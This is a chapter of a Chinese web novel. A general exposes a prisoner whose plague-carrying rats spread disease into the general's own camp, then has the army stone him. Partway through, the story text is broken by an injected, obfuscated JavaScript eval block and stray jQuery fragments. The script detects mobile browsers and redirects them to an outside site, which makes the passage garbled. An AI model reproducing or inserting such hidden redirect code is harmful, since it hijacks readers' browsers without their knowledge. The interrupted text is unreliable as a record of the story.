第438章 说了是错,不说也是错?

作品:《王府里来了个捡破烂的崽崽

    中军大帐里,李慎脸上蒙着厚厚的面巾,双眼赤红,满满的全是怒火。


    “报!”一个亲兵跑了进来,声音颤抖,“今日身亡二十七人,新增染疾者一百七十三人,其中**营三十九,步卒营……”


    “闭嘴。”李慎的声音低沉,“滚出去!”


    亲兵掉头就跑。


    一旁的副将小心翼翼地道:“将军,再这么下去,别说攻打敌营,咱们自己怕是都无力自保了。”


    “每日死的病的越来越多,这,这如何跟朝廷交代啊?”


    李慎看了他一眼,缓缓起身,绕过帅案,径直往帐外走去。


    副将急忙喊道:“将军!伤兵营全是病患,您不能去啊!”


    李慎脚步未停:“我不去伤兵营,去牢里。”


    关押囚犯的土牢在大营西侧,其实就是个简陋的地窖。


    守卫看到主将来了,急忙行礼开门,将李慎让了进去。


    地窖里昏暗潮湿,墙角堆着发霉的稻草。


    公孙恒被铁链锁在土牢中央的木桩上,身上的袍子早已破烂,露出的皮肉上交错着鞭痕与瘀伤。


    听到脚步声,公孙恒缓缓抬头。


    他颧骨青肿,嘴角裂着血口,可那双眼睛却亮得惊人,眼神中燃烧着炽热的疯狂。


    “李将军,”他咧开嘴,血丝黏在牙上,“你终于肯来见我了?是打算听我的,出兵了?”


    李慎摘下面巾,站在他面前,静静看着他。


    “我知道你在想什么,”公孙恒喘着粗气,“你觉得我疯了,觉得我是在害你。”


    “你知不知道什么叫千载难逢?萧杰昀的大营里如今是什么样子?”


    “尸横遍地!军心溃散!只要你现在带兵冲过去,宁王的人头是你的!皇帝的人头也是你的!玉玺……”


    李慎忽然开口,打断了他:“我的部下今日**二十七个。”


    公孙恒的话卡在喉咙里。


    李慎安安静静地叙说着:“昨日**一十五个。”


    “军医说,这病发作起来,先是发热咳嗽,接着身上起红疹,呕吐腹泻,污物带血,最后抽搐而亡。”


    他顿了顿,看着公孙恒的眼睛:“你猜,这病是怎么来的?”


    公孙恒脸上的狂热一点点僵住。


    “前几日,大营里发现了两只死老鼠。”


    “尸体腐烂,军医看过了,与染病的士卒一模一样。”


    地窖里安静得能清晰地听见两人的呼吸声。


    李慎上前一步:“你以为,萧元珩是傻子吗?”


    “你往他营里扔病鼠,他难道不会扑杀?不会清剿鼠穴?”


    “那些带了病的老鼠四处乱窜,全跑进我的大营了!”


    公孙恒的嘴唇开始发抖:“不,不是我……”


    “所以,”李慎再次打断了他,“我那些**的兵,那些正在发热咳血的弟兄,都是你害的!”


    “这是意外!”公孙恒嘶吼起来,“若不是你贻误战机,迟迟不肯出兵,疫病早就在萧元珩的大营爆发完了!”


    “李慎!如今的一切还不都是因为你的胆小!你的无能!你怎么能怪到我头上?”


    “我早就跟你说过,若你不敢出兵,一旦局势有变,你如何跟京城交代?”


    李慎看着他,看了很久。


    然后,他笑了:“我如何交代?”


    他转身朝地窖外走去:“你马上就知道了。”


    半晌后,大营里黑压压站满了人。


    三万大军,除去病倒的,值守的,能站着的都来了。


    李慎站在众人前方,身旁跪着五花大绑的公孙恒,以及他那三个早已瘫软在地的手下。


    李慎朗声道:“今日召集全军,是为了让你们明白,近几日,大营里这场害**咱们这么多弟兄的疫病是怎么来的!”


    士卒们闻言各个满脸疑惑。


    “怎么来的?”


    “不是病了的老鼠带来的吗?”


    “莫非还有什么别的缘故?”


    李慎抬了抬手,众人安静下来。


    他看向脚边的公孙恒:“公孙先生,那些有病的老鼠,是不是你带来的?”


    公孙恒看着周围无数张充满疑惑的脸。


    那日自己在大营中已经亲口说过,如今又如何反口?


    他咬了咬牙:“是!但我那是为了……”


    李慎根本不给他说完的机会:“你是不是大夏皇族?”


    公孙恒瞳孔一缩。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075745|184125||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    br>士卒们都是一惊,大夏人,还是皇族?


    李慎厉声追问:“是不是?”


    公孙恒的声音低了下去:“是,可这与我……”


    李慎再度打断他:“你是否一直逼迫本将强攻萧元珩的大营,欲置我三万将士于死地?”


    这一次,公孙恒没有说话。


    他环视四周,所有人脸色都变了,变成了愤怒和恐惧。


    他不想再回答李慎的提问了,很明显说多错多。


    但是。


    李慎却没想饶过他:“你不敢承认了吗?”


    公孙恒气得几乎吐血,说了是错,不说也是错?


    但他明白,一定要为自己辩解,否则今日搞不好就要死于非命,他是来立功的,不是来送死的!


    他刚想开口。


    “将士们!”李慎已面向全军,振臂高呼,“你们都听见了!此人已亲口承认,他是大夏皇族!这场疫病就是他带来的!”


    公孙恒慌了,大喊道:“我有令牌!我是朝廷特使!”


    “令牌?”李慎掏出他带来的那块令牌扔到地上,”弟兄们,这就是他的令牌!”


    “一块真假难辨的牌子,就想逼我带你们去送死!”


    他猛地抬手一指公孙恒:“他曾经口口声声说,那些病鼠是他带来给敌军的,可为什么如今却都跑进了咱们的大营里?”


    “为什么死的伤的,都是咱们的弟兄?”


    山崩海啸般的怒吼爆发了:


    “奸细!”


    “大夏的狗!”


    “打死他!为弟兄们报仇!”


    许多士卒想到那些因病而亡被烧掉的同袍们,连个全尸都没有!


    想起那些还在痛苦中挣扎的同伴,他们的眼圈都红了。


    再想到,不知何时自己也会是同样的下场!


    士卒们彻底愤怒了,全都大喊着:“打死他!打死他!”


    公孙恒彻底慌了,用力挣扎着,但身上的铁链死死地锁住了他。


    他嘶声大吼:“李慎!你陷害我!我就是朝廷特使!那令牌是真的!”


    李慎高声道:“细作祸乱,为害三军者,按律!当处乱石之刑!”


    他退出数步,厉声大喝:“行刑!”